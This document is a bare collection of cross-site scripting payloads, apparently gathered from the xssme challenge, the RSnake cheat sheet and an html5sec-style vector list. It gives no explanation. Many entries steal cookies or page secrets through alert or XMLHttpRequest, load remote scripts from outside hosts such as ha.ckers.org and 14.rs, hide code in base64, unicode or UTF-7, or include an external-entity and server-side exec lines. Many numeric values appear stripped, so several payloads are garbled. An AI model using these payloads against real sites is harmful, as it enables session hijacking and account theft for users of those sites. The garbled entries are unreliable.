<script> (function (o) { function exploit(x) { if (x !== null) alert('User cookie is ' %2B x); else console.log('fail'); } o.onclick = function (e) { e.__defineGetter__('isTrusted', function () { return true; }); exploit(Safe.get()); }; var e = document.createEvent('MouseEvent'); e.initEvent('click', true, true); o.dispatchEvent(e); })(document.getElementById('safe123')); </script>
<iframe src=/ onload=eval(unescape(this.name.replace(/\/g,null))) name=fff%253Dnew%2520this.contentWindow.window.XMLHttpRequest%%%253Bfff.open%%2522GET%%252C%2522xssme2%%%253Bfff.onreadystatechange%253Dfunction%%%257Bif%%2528fff.readyState%253D%253D4%%%%2520fff.status%253D%253D200%%257Balert%2528fff.responseText%%253B%257D%257D%253Bfff.send%%%253B></iframe>
<script> function b() { return Safe.get(); } alert(b({type:String.fromCharCode(,,,,),isTrusted:true})); </script>
<img src=http://www.google.fr/images/srpr/logo3w.png onload=alert(this.ownerDocument.cookie) width=0 height= 0 /> #
<script> function foo(elem, doc, text) { elem.onclick = function (e) { e.__defineGetter__(text[], function () { return true }) alert(Safe.get()); }; var event = doc.createEvent(text[]); event.initEvent(text[], true, true); elem.dispatchEvent(event); } </script> <img src=http://www.google.fr/images/srpr/logo3w.png onload=foo(this,this.ownerDocument,this.name.split(/,/)) name=isTrusted,MouseEvent,click width=0 height=0 /> #
<SCRIPT+FOR=document+EVENT=onreadystatechange>MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%;getElementById(%22safe123%).click=function()+{alert(Safe.get());};getElementById(%22safe123%).click(test);</SCRIPT>#
<script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%); } } xmlHttp.send(null); }; </script>#
<video+onerror='javascript:MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());};document.getElementById(%22safe123%22).click(test);'><source>%
<script for=document event=onreadystatechange>getElementById('safe123').click()</script>
<script> var+x+=+showModelessDialog+(this); alert(x.document.cookie); </script>
<script> location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICcoLio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; </script>
<iframe src=%% onload=%22frames[].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==){alert(r.responseText.substr(,));}<\/script>%26quot;)%></iframe>
<iframe src=%% onload=%22content.frames[].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==){alert(r.responseText.substr(,));}<\/script>%26quot;)%></iframe>
<iframe src=%% onload=%22self.frames[].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==){alert(r.responseText.substr(,));}<\/script>%26quot;)%></iframe>
<iframe src=%% onload=%22top.frames[].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==){alert(r.responseText.substr(,));}<\/script>%26quot;)%></iframe>
<script>var x = safe123.onclick;safe123.onclick = function(event) {var f = false;var o = { isTrusted: true };var a = [event, o, event];var get;event.__defineGetter__('type', function() {get = arguments.callee.caller.arguments.callee;return 'click';});var _alert = alert;alert = function() { alert = _alert };x.apply(null, a);(function() {arguments.__defineGetter__('', function() { return a.pop(); });alert(get());})();};safe123.click();</script>#
<iframe onload=%22write('<script>'%2Blocation.hash.substr()%2B'</script>')%></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[]) };xhr.send();
<textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[])</script>
<textarea id=ta onfocus=console.dir(event.currentTarget.ownerDocument.location.href=%26quot;javascript:\%26quot;%26lt;script%26gt;var%2520xhr%%253D%2520new%2520XMLHttpRequest()%253Bxhr.open('GET'%252C%'http%253A%252F%252Fhtml5sec.org%252Fxssme2'%252C%2520true)%253Bxhr.onload%%253D%2520function()%%257B%2520alert(xhr.responseText.match(%252Fcookie%%253D%'(.*%253F)'%252F)%255B1%255D)%%257D%253Bxhr.send()%253B%26lt;\/script%26gt;\%26quot;%26quot;) autofocus></textarea>
<iframe onload=%22write('<script>'%2Blocation.hash.substr()%2B'</script>')%></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[]) };xhr.send();
<textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[])</script>
<script>function x(window) { eval(location.hash.substr()) }</script><iframe id=iframe src=%22javascript:parent.x(window)%><iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[]) };xhr.send();
<textarea id=ta onfocus=%22write('<script>alert(1)</script>')% autofocus></textarea>
<object data=%22data:text/html;base64,PHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignR0VUJywgJ2h0dHA6Ly94c3NtZS5odG1sNXNlYy5vcmcveHNzbWUyJywgdHJ1ZSk7IHhoci5vbmxvYWQgPSBmdW5jdGlvbigpIHsgYWxlcnQoeGhyLnJlc3BvbnNlVGV4dC5tYXRjaCgvY29va2llID0gJyguKj8pJy8pWzFdKSB9OyB4aHIuc2VuZCgpOyA8L3NjcmlwdD4=%>
<script>function x(window) { eval(location.hash.substr()) }; open(%22javascript:opener.x(window)%)</script>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[]) };xhr.send();
%3Cscript%3Exhr=new%20ActiveXObject%%22Msxml2.XMLHTTP%%;xhr.open%%22GET%,%/xssme2%,true%;xhr.onreadystatechange=function%%{if%28xhr.readyState==%%26xhr.status==%{alert%28xhr.responseText.match%/%%[^%]%2b%/%[]%}};xhr.send%%;%3C/script%3E
<iframe src=`http://xssme.html5sec.org/?xss=<iframe onload=%22xhr=new XMLHttpRequest();xhr.open('GET','http://html5sec.org/xssme2',true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();%22>`>
<a target="x" href="xssme?xss=%3Cscript%3EaddEventListener%28%22DOMFrameContentLoaded%22,%20function%28e%29%20{e.stopPropagation%28%29;},%20true%29;%3C/script%3E%3Ciframe%20src=%22data:text/html,%253cscript%253eObject.defineProperty%28top,%20%27MyEvent%27,%20{value:%20Object,%20configurable:%20true}%29;function%20y%28%29%20{alert%28top.Safe.get%28%29%29;};event%20=%20new%20Object%28%29;event.type%20=%20%27click%27;event.isTrusted%20=%20true;y%28event%29;%253c/script%253e%22%3E%3C/iframe%3E
<a target="x" href="xssme?xss=<script>var cl=Components;var fcc=String.fromCharCode;doc=cl.lookupMethod(top, fcc(100,111,99,117,109,101,110,116) )( );cl.lookupMethod(doc,fcc(119,114,105,116,101))(doc.location.hash)</script>#<iframe src=data:text/html;base64,PHNjcmlwdD5ldmFsKGF0b2IobmFtZSkpPC9zY3JpcHQ%2b name=ZG9jPUNvbXBvbmVudHMubG9va3VwTWV0aG9kKHRvcC50b3AsJ2RvY3VtZW50JykoKTt2YXIgZmlyZU9uVGhpcyA9ICBkb2MuZ2V0RWxlbWVudEJ5SWQoJ3NhZmUxMjMnKTt2YXIgZXZPYmogPSBkb2N1bWVudC5jcmVhdGVFdmVudCgnTW91c2VFdmVudHMnKTtldk9iai5pbml0TW91c2VFdmVudCggJ2NsaWNrJywgdHJ1ZSwgdHJ1ZSwgd2luZG93LCAxLCAxMiwgMzQ1LCA3LCAyMjAsIGZhbHNlLCBmYWxzZSwgdHJ1ZSwgZmFsc2UsIDAsIG51bGwgKTtldk9iai5fX2RlZmluZUdldHRlcl9fKCdpc1RydXN0ZWQnLGZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9KTtmdW5jdGlvbiB4eChjKXtyZXR1cm4gdG9wLlNhZmUuZ2V0KCl9O2FsZXJ0KHh4KGV2T2JqKSk></iframe>
<a target="x" href="xssme?xss=<script>find('cookie'); var doc = getSelection().getRangeAt(0).startContainer.ownerDocument; console.log(doc); var xpe = new XPathEvaluator(); var nsResolver = xpe.createNSResolver(doc); var result = xpe.evaluate('//script/text()', doc, nsResolver, 0, null); alert(result.iterateNext().data.match(/cookie = '(.*?)'/)[1])</script>
<a target="x" href="xssme?xss=<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe src=%22javascript:parent.x(window);%22></iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', '.', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
Garethy Salty Method!<script>alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),'document')(), 'getElementsByTagName')('html')[],'innerHTML')().match(/d.*'/));</script>
<a href="javascript:\u0061le%72t(1)"><button>
<div onmouseover='alert(1)'>DIV</div>
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
<a href="jAvAsCrIpT:alert(1)">X</a>
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> ?
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">?
<var onmouseover="prompt(1)">On Mouse Over</var>?
<a href=javascript:alert(document.cookie)>Click Here</a>
<img src="/" =_=" title="onerror='prompt(1)'">
<%<!--'%><script>alert(1);</script -->
<script src="data:text/javascript,alert(1)"></script>
<iframe/src \/\/onload = prompt()
<iframe/onreadystatechange=alert()
<svg/onload=alert()
<input value=<><iframe/src=javascript:confirm()
<input type="text" value=``<div/onmouseover='alert(1)'>X</div>
http://www.<script>alert(1)</script .com
<iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%
																
																	%></iframe> ?
<svg><script ?>alert()
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%		%></iframe>
<img src=`xx:xx`onerror=alert()>
<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>?
<math><a xlink:href="//jsfiddle.net/t846h/">click
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>?
<svg contentScriptType=text/vbs><script>MsgBox+
<a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
<script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
<script/src=data:text/j\u0061v\u0061&#&#&#&#&#&#,\u0061%6C%%%(/XSS/)></script ????????????
<object data=javascript:\u0061l&#%72t()>
<script>+-+--+-+alert()</script>
<body/onload=<!-->
alert()>
<script itworksinallbrowsers>/*<script* */alert()</script ?
<img src ?itworksonchrome?\/onerror = alert()???
<svg><script>//
confirm(1);</script </svg>
<svg><script onlypossibleinopera:-)> alert()
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert()>ClickMe
<script x> alert() </script =
<div/onmouseover='alert(1)'> style="x:">
<--`<img/src=` onerror=alert()> --!>
<script/src=&#&#&#&#:text/javascript,alert()></script> ?
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>?
"><img src=x onerror=window.open('https://www.google.com/');>
<form><button formaction=javascript:alert()>CLICKME
<math><a xlink:href="//jsfiddle.net/t846h/">click
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>?
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a>
"><img src=x onerror=prompt(1);>
<SCRIPT>alert('XSS');</SCRIPT>
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<IMG SRC=javascript:alert(String.fromCharCode(,,))>
SRC=&#<IMG ;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;>
<IMG SRC=&#&#&#&#&#&#&#&#&#&#&#&#&#&#&#&#&#&#&#&#&#&#&#>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="  javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
<IMG SRC="javascript:alert('XSS')"
<SCRIPT>a=/XSS/
\";alert('XSS');//
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="mocha:[code]">
<IMG SRC="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="Link" Content="<javascript:alert('XSS')>; REL=stylesheet">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">
exp/*<XSS STYLE='no\xss:noxss("*//*");
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE HREF="javascript:alert('XSS');//">
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
getURL("javascript:alert('XSS')")
a="get";
<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:alert('XSS');">
<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>
<HTML><BODY>
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->
<? echo('<SCR)';
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCriPt x>(((confirm)))``</scRipt x>
<w="/x="y>"/OndbLcLick=`<`[confir\u006d``]>z
<deTAiLs/open/oNtoGGle=confirm()>
<scRiPt y="><">/*<sCRipt* */prompt()</script
<A href="javascript%26colon;confirm()">click
<sVg oNloaD=write()>
<A href=javas%#;ript:alert()>click
<sCrIpt/"<a"/srC=data:=".<a,[8].some(confirm)>
<svG/x=">"/oNloaD=confirm()//
<--`<iMG/srC=` onerror=confirm``> --!>
<SVg </onlOad ="1> (_=prompt,_(1)) "">
<!--><scRipT src=//14.rs>
<sCriPt/src=//14.rs?
<sCRIpt x=">" src=//15.rs></script>
<D3/OnMouSEenTer=[].find(confirm)>z
<D3"<"/OncLick="1>[confirm``]"<">z
<D3/OnpOinTeReENter=confirm``>click here
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`` //>
<Z oncut=alert()>x
<iFrAMe/src \/\/onload = prompt()
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
<div id=""><form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>//["'`-->]]>]</div><div id="2"><meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi//["'`-->]]>]</div><div id="3"><meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>//["'`-->]]>]</div><div id="4">0?<script>Worker("#").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))//["'`-->]]>]</div><div id="5"><script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(5)',384,null,'rsa-dual-use')</script>//["'`-->]]>]</div><div id="6"><script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>//["'`-->]]>]</div><div id="7"><input onfocus=alert(7) autofocus>//["'`-->]]>]</div><div id="8"><input onblur=alert(8) autofocus><input autofocus>//["'`-->]]>]</div><div id="9"><a style="-o-link:'javascript:alert(9)';-o-link-source:current">X</a>//["'`-->]]>]</div><div id="10"><video poster=javascript:alert(10)//></video>//["'`-->]]>]</div><div id="11"><svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(11)"></g></svg>//["'`-->]]>]</div><div id="12"><body onscroll=alert(12)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>//["'`-->]]>]</div><div id="13"><x repeat="template" repeat-start="999999">0<y repeat="template" repeat-start="999999">1</y></x>//["'`-->]]>]</div><div id="14"><input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>//["'`-->]]>]</div><div id="15"><script>({0:#0=alert/#0#/#0#(0)})</script>//["'`-->]]>]</div><div id="16">X<x style=`behavior:url(#default#time2)` onbegin=`alert(16)` >//["'`-->]]>]</div><div id="17"><?xml-stylesheet href="javascript:alert(17)"?><root/>//["'`-->]]>]</div><div id="18"><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>//["'`-->]]>]</div><div id="19"><meta charset="x-mac-farsi">¼script ¾alert(19)//¼/script ¾//["'`-->]]>]</div><div id="20"><script>ReferenceError.prototype.__defineGetter__('name', function(){alert(20)}),x</script>//["'`-->]]>]</div><div id="21"><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(21)')()</script>//["'`-->]]>]</div><div id="22"><input onblur=focus() autofocus><input>//["'`-->]]>]</div><div id="23"><form id=test onforminput=alert(23)><input></form><button form=test onformchange=alert(2)>X</button>//["'`-->]]>]</div><div id="24">1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=alert(24)>`>//["'`-->]]>]</div><div id="25"><script src="#">{alert(25)}</script>;1//["'`-->]]>]</div><div id="26">+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);//["'`-->]]>]</div><div id="27"><style>p[foo=bar{}*{-o-link:'javascript:alert(27)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>//["'`-->]]>]</div>
<div id=""><animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=alert()>>//["'`-->]]>]</div>
<div id=""><link rel=stylesheet href=data:,*%7bx:expression(alert())%7d//["'`-->]]>]</div><div id="30"><style>@import "data:,*%7bx:expression(alert(30))%7D";</style>//["'`-->]]>]</div><div id="31"><frameset onload=alert(31)>//["'`-->]]>]</div><div id="32"><table background="javascript:alert(32)"></table>//["'`-->]]>]</div><div id="33"><a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(33);">XXX</a></a><a href="javascript:alert(2)">XXX</a>//["'`-->]]>]</div><div id="34">1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe>//["'`-->]]>]</div><div id="35">1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(35) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>//["'`-->]]>]</div><div id="36"><a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(36)">XXX</a>//["'`-->]]>]</div><div id="37"><!--<img src="--><img src=x onerror=alert(37)//">//["'`-->]]>]</div><div id="38"><comment><img src="</comment><img src=x onerror=alert(38)//">//["'`-->]]>]</div>
<div id=""><!-- up to Opera 11.52, FF 3.6. -->
<![><img src="]><img src=x onerror=alert(39)//"> <!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.+, GC7+ -->
<svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(2)//"></svg>//["'`-->]]>]</div>
<div id=""><style><img src="</style><img src=x onerror=alert(40)//">//["'`-->]]>]</div>
<div id=""><li style=list-style:url() onerror=alert()></li>
<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert()></div>//["'`-->]]>]</div>
<div id=""><head><base href="javascript://"/></head><body><a href="/. /,alert(42)//#">XXX</a></body>//["'`-->]]>]</div>
<div id=""><?xml version="1.0" standalone="no"?>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<style type="text/css">
@font-face {font-family: y; src: url("font.svg#x") format("svg");} body {font: 100px "y";}
</style>
</head>
<body>Hello</body>
</html>//["'`-->]]>]</div>
<div id=""><style>*[{}@import'test.css?]{color: green;}</style>X//["'`-->]]>]</div><div id=""><div style="font-family:'foo[a];color:red;';">XXX</div>//["'`-->]]>]</div><div id="46"><div style="font-family:foo}color=red;">XXX</div>//["'`-->]]>]</div><div id="47"><svg xmlns="http://www.w3.org/2000/svg"><script>alert(47)</script></svg>//["'`-->]]>]</div><div id="48"><SCRIPT FOR=document EVENT=onreadystatechange>alert(48)</SCRIPT>//["'`-->]]>]</div><div id="49"><OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(49)"></OBJECT>//["'`-->]]>]</div><div id="50"><object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>//["'`-->]]>]</div><div id="51"><embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>//["'`-->]]>]</div><div id="52"><x style="behavior:url(test.sct)">//["'`-->]]>]</div>
<div id=""><xml id="xss" src="test.htc"></xml>
<label dataformatas="html" datasrc="#xss" datafld="payload"></label>//["'`-->]]>]</div>
<div id=""><script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[])}),'b':['secret']}]</script>//["'`-->]]>]</div><div id="55"><video><source onerror="alert(55)">//["'`-->]]>]</div><div id="56"><video onerror="alert(56)"><source></source></video>//["'`-->]]>]</div><div id="57"><b <script>alert(57)//</script>0</script></b>//["'`-->]]>]</div><div id="58"><b><script<b></b><alert(58)</script </b></b>//["'`-->]]>]</div><div id="59"><div id="div1"><input value="``onmouseover=alert(59)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>//["'`-->]]>]</div><div id="60"><div style="[a]color[b]:[c]red">XXX</div>//["'`-->]]>]</div>
<div id=""><div style="\63	\06f
\0006c\00006F
\R:\000072 Ed;color\0\bla:yellow\0\bla;col\0\00 \ or:blue;">XXX</div>//["'`-->]]>]</div> <div id=""><!-- IE - -->
<x '="foo"><x foo='><img src=x onerror=alert()//'> <!-- IE - -->
<! '="foo"><x foo='><img src=x onerror=alert()//'>
<? '="foo"><x foo='><img src=x onerror=alert()//'>//["'`-->]]>]</div> <div id=""><embed src="javascript:alert(63)"></embed> // O10.10↓, OM10.0↓, GC6↓, FF
<img src="javascript:alert(2)">
<image src="javascript:alert(2)"> // IE6, O10.10↓, OM10.0↓
<script src="javascript:alert(3)"></script> // IE6, O11.01↓, OM10.1↓//["'`-->]]>]</div>
<div id=""><!DOCTYPE x[<!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y>//["'`-->]]>]</div><div id="65"><svg onload="javascript:alert(65)" xmlns="http://www.w3.org/2000/svg"></svg>//["'`-->]]>]</div>
<div id=""><?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(66)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E"?>
<root/>//["'`-->]]>]</div> <div id=""><!DOCTYPE x [
<!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "xx:x"
onerror CDATA "alert(67)"
onload CDATA "alert(2)">
]><img />//["'`-->]]>]</div> <div id=""><doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml">
<html:style /><x xlink:href="javascript:alert(68)" xlink:type="simple">XXX</x>
</doc>//["'`-->]]>]</div>
<div id=""><card xmlns="http://www.wapforum.org/2001/wml"><onevent type="ontimer"><go href="javascript:alert(69)"/></onevent><timer value=""/></card>//["'`-->]]>]</div><div id="70"><div style=width:1px;filter:glow onfilterchange=alert(70)>x</div>//["'`-->]]>]</div><div id="71"><// style=x:expression\28alert(71)\29>//["'`-->]]>]</div><div id="72"><form><button formaction="javascript:alert(72)">X</button>//["'`-->]]>]</div><div id="73"><event-source src="event.php" onload="alert(73)">//["'`-->]]>]</div><div id="74"><a href="javascript:alert(74)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A" /></a>//["'`-->]]>]</div><div id="75"><script<{alert(75)}/></script </>//["'`-->]]>]</div><div id="76"><?xml-stylesheet type="text/css"?><!DOCTYPE x SYSTEM "test.dtd"><x>&x;</x>//["'`-->]]>]</div><div id="77"><?xml-stylesheet type="text/css"?><root style="x:expression(alert(77))"/>//["'`-->]]>]</div><div id="78"><?xml-stylesheet type="text/xsl" href="#"?><img xmlns="x-schema:test.xdr"/>//["'`-->]]>]</div><div id="79"><object allowscriptaccess="always" data="test.swf"></object>//["'`-->]]>]</div><div id="80"><style>*{x:ｅｘｐｒｅｓｓｉｏｎ(alert(80))}</style>//["'`-->]]>]</div><div id="81"><x 